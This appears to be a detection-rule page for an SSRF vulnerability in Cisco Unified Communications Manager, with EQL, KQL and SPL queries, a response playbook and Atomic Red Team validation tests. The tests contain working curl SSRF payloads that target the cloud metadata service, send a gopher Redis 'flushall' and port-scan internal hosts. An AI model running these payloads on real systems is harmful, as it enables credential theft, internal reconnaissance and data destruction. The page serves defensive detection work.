CVE-2026-20230 Elastic Security · Elastic

Detect Cisco Unified Communications Manager SSRF Exploitation Detected in Elastic Security

Detects exploitation attempts of CVE-2026-20230, a Server-Side Request Forgery (SSRF) vulnerability in Cisco Unified Communications Manager (CUCM). An unauthenticated remote attacker may craft malicious HTTP requests to the CUCM web interface to cause the server to initiate requests to arbitrary internal or external destinations, potentially enabling internal network reconnaissance, credential theft via metadata services, or pivoting to internal resources.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql
sequence by source.ip with maxspan=5m
  [network where event.category == "network" and
   destination.port in (80, 443, 8080, 8443) and
   url.path : ("/ccmadmin/*", "/cucm-uds/*", "/ucmuser/*", "/ccmuser/*", "/cmplatform/*") and
   (
     url.query : ("*169.254.169.254*", "*metadata.google.internal*", "*localhost*", "*127.0.0.1*", "*::1*", "*0.0.0.0*") or
     url.query : ("*file://*", "*dict://*", "*gopher://*", "*ldap://*") or
     url.full : ("*url=http*", "*redirect=http*", "*callback=http*")
   )
  ]
  [network where event.category == "network" and
   source.ip == destination.ip or
   destination.ip in ("169.254.169.254", "100.100.100.200") or
   cidr_match(destination.ip, "127.0.0.0/8", "::1/128", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
  ]
high severity medium confidence

Uses EQL sequence correlation to detect SSRF exploitation against CUCM: first event captures the inbound request with SSRF payload, second event captures the resulting outbound connection from CUCM to an internal or metadata service address.

Data Sources

Elastic Network EventsPacketbeatCisco CUCM

Required Tables

logs-network*packetbeat-*

False Positives & Tuning

  • Legitimate CUCM health checks that contact internal monitoring endpoints
  • Cluster replication traffic between CUCM nodes that appears as loopback connections
  • Automated deployment scripts that use internal IP parameters during provisioning
  • Load balancer health probes generating sequential internal connection patterns

Other platforms for CVE-2026-20230


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SSRF Probe via CUCM Admin Interface URL Parameter

    Expected signal: HTTP GET request to /ccmadmin/ with redirectUrl parameter containing 169.254.169.254; subsequent outbound TCP connection from CUCM server to 169.254.169.254:80 if vulnerable

  2. Test 2SSRF via Gopher Protocol Scheme in CUCM API Parameter

    Expected signal: HTTP GET to /cucm-uds/ endpoint with gopher:// scheme in callback parameter; potential TCP connection from CUCM server to 127.0.0.1:6379 if exploitable

  3. Test 3SSRF Internal Network Scan via CUCM Redirect Parameter

    Expected signal: Multiple HTTP requests to /ccmuser/ with varying port numbers in src parameter containing RFC1918 addresses; timing differences in responses may reveal open ports on internal hosts if CUCM is vulnerable


Response Playbook

Triage

  1. Identify the source IP and user agent of the inbound request that triggered the alert; determine if it originates from an internal network segment, a known scanner, or an external routable address.
  2. Review CUCM web server access logs (typically under /var/log/active/tomcat/ on CUCM appliances) for the flagged request URI and extract the full URL parameter value to confirm SSRF payload presence.
  3. Determine whether CUCM generated any outbound HTTP/HTTPS connections following the suspicious inbound request by reviewing network flow data or proxy logs for connections originating from the CUCM server IP.
  4. Check whether the targeted CUCM endpoint (/ccmadmin/, /cucm-uds/, etc.) is exposed to untrusted networks; validate whether authentication was required and whether the request was authenticated.

Containment

  1. If active exploitation is confirmed, immediately restrict inbound access to CUCM administrative and API endpoints (/ccmadmin/, /cucm-uds/, /ucmuser/) at the network perimeter or via ACL on the CUCM server, limiting access to authorized management IP ranges only.
  2. Block outbound connections from the CUCM server to cloud metadata service addresses (169.254.169.254, 100.100.100.200, metadata.google.internal) and to non-communications RFC1918 ranges not required for CUCM cluster operation using host-based firewall rules or upstream network controls.

Evidence Collection

  1. Export CUCM web server access logs (catalina.out, localhost_access_log) covering the incident window, preserving the full request URI, query parameters, source IP, timestamp, HTTP method, and response code for forensic review.
  2. Capture network flow records (NetFlow/IPFIX) or proxy logs showing all outbound connections from the CUCM server IP(s) during and after the alert window to determine whether SSRF payloads successfully caused server-side requests to internal resources.

Escalation Criteria

  • !Escalate immediately if network evidence shows CUCM successfully established connections to cloud instance metadata services (169.254.169.254, 100.100.100.200), as this may indicate credential or token exfiltration from the hosting environment.
  • !Escalate if SSRF payloads are observed targeting internal infrastructure beyond CUCM (e.g., Vault, internal APIs, database ports), indicating an attacker is using CUCM as a pivot point for internal reconnaissance.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >CUCM Tomcat access logs at /var/log/active/tomcat/localhost_access_log.*.txt containing inbound request URIs with injected URL parameters
  • >CUCM application logs (ccm.log, RTMT log bundles) for any anomalous outbound connection errors or timeouts triggered by SSRF-initiated requests
  • >Network flow records showing TCP connections originating from the CUCM server IP to unexpected internal or external destinations following inbound HTTP requests

Tuning Guidance

Start by baselining legitimate CUCM API consumers: internal helpdesk portals, ITSM integrations, and monitoring agents. Allowlist their source IPs to reduce false positives on internal callback URL parameters. For cloud-hosted CUCM deployments, prioritize detections targeting metadata service IPs (169.254.169.254, 100.100.100.200) at highest confidence. For on-premises deployments, focus on detections for file://, gopher://, and dict:// schemes, which have no legitimate use in CUCM integrations. Tune the CrowdStrike CQL query by enumerating known CUCM cluster peer IPs and excluding them from the RFC1918 destination match to eliminate cluster replication noise.


Hunting Queries

Hunt for CUCM requests containing URL-like parameters in query strings that may indicate SSRF probe attempts, even without matching known-bad destinations. Surfaces novel SSRF targets not covered by static IOC lists.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor =~ "Cisco"
| where RequestURL has_any ("/ccmadmin/", "/cucm-uds/", "/ucmuser/")
| extend UrlParams = extract(@"\?(.+)$", 1, RequestURL)
| where UrlParams matches regex @"(?i)(url|dest|redirect|src|target|callback|host|endpoint)="
| summarize count() by bin(TimeGenerated, 1h), SourceIP, RequestURL
| where count_ > 5
| order by TimeGenerated desc
Hunting — SPL
spl
index=cisco OR index=network sourcetype IN ("cisco:cucm", "cef")
| rex field=uri_query "(?P<param_name>[^=&]+)=(?P<param_value>[^&]+)"
| where match(param_name, "(?i)(url|dest|redirect|src|target|callback|host|endpoint)")
| eval is_ip=if(match(param_value, "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"), 1, 0)
| stats count as requests, values(param_value) as param_values by src_ip, uri_path, param_name, is_ip
| sort - requests

Atomic Red Team Tests

Test 1 SSRF Probe via CUCM Admin Interface URL Parameter
linux

Simulates an attacker sending an HTTP request to the CUCM administrative interface with an SSRF payload in a URL query parameter, targeting the cloud instance metadata service. This tests detection of metadata service access via CUCM as an SSRF proxy.

Command

bash
curl -sk -X GET "https://CUCM_TARGET_IP/ccmadmin/j_security_check?j_username=ssrf_test&j_password=x&redirectUrl=http://169.254.169.254/latest/meta-data/" -H "User-Agent: SSRF-Test/1.0" -v 2>&1 | grep -E '(HTTP/|Location:|< )' ; echo '[atomic] SSRF probe sent to CUCM admin interface'

Cleanup

bash
No cleanup required; this is a read-only probe generating only inbound access log entries on the target.

Expected Telemetry

HTTP GET request to /ccmadmin/ with redirectUrl parameter containing 169.254.169.254; subsequent outbound TCP connection from CUCM server to 169.254.169.254:80 if vulnerable

Expected Detection

Alert fires on CommonSecurityLog or proxy logs capturing the inbound request URL containing 169.254.169.254 in a CUCM-destined request

Test 2 SSRF via Gopher Protocol Scheme in CUCM API Parameter
linux

Sends a crafted request to a CUCM REST API endpoint with a gopher:// URI scheme embedded in a parameter value. Gopher is commonly used in SSRF attacks to interact with non-HTTP internal services such as Redis or Memcached.

Command

bash
curl -sk -X GET "https://CUCM_TARGET_IP/cucm-uds/users?start=0&rows=1&callback=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A" -H "Content-Type: application/json" -v 2>&1 | grep -E '(HTTP/|< )' ; echo '[atomic] Gopher SSRF probe sent to CUCM UDS API'

Cleanup

bash
No persistent changes; the gopher payload will fail to execute on patched or non-vulnerable systems.

Expected Telemetry

HTTP GET to /cucm-uds/ endpoint with gopher:// scheme in callback parameter; potential TCP connection from CUCM server to 127.0.0.1:6379 if exploitable

Expected Detection

Detection fires on URL containing gopher:// scheme pattern in CUCM-targeted request log entry

Test 3 SSRF Internal Network Scan via CUCM Redirect Parameter
linux

Iterates over common internal service ports by sending SSRF payloads targeting the CUCM server's own loopback address and RFC1918 space. Simulates an attacker using CUCM as a proxy to enumerate internal services after initial SSRF access.

Command

bash
for PORT in 22 80 443 8080 8443 8200 5432 3306 6379 9200; do curl -sk --max-time 3 -X GET "https://CUCM_TARGET_IP/ccmuser/logon.jsp?src=http://10.0.0.1:${PORT}/" -o /dev/null -w "Port ${PORT}: HTTP %{http_code} (time: %{time_total}s)\n"; done ; echo '[atomic] Internal port scan via CUCM SSRF completed'

Cleanup

bash
No persistent changes on target; generates access log entries only.

Expected Telemetry

Multiple HTTP requests to /ccmuser/ with varying port numbers in src parameter containing RFC1918 addresses; timing differences in responses may reveal open ports on internal hosts if CUCM is vulnerable

Expected Detection

Burst of CUCM-destined requests with RFC1918 addresses in URL parameters from a single source IP within a short time window; rate-based correlation rule fires on volume of SSRF probes

Related Detections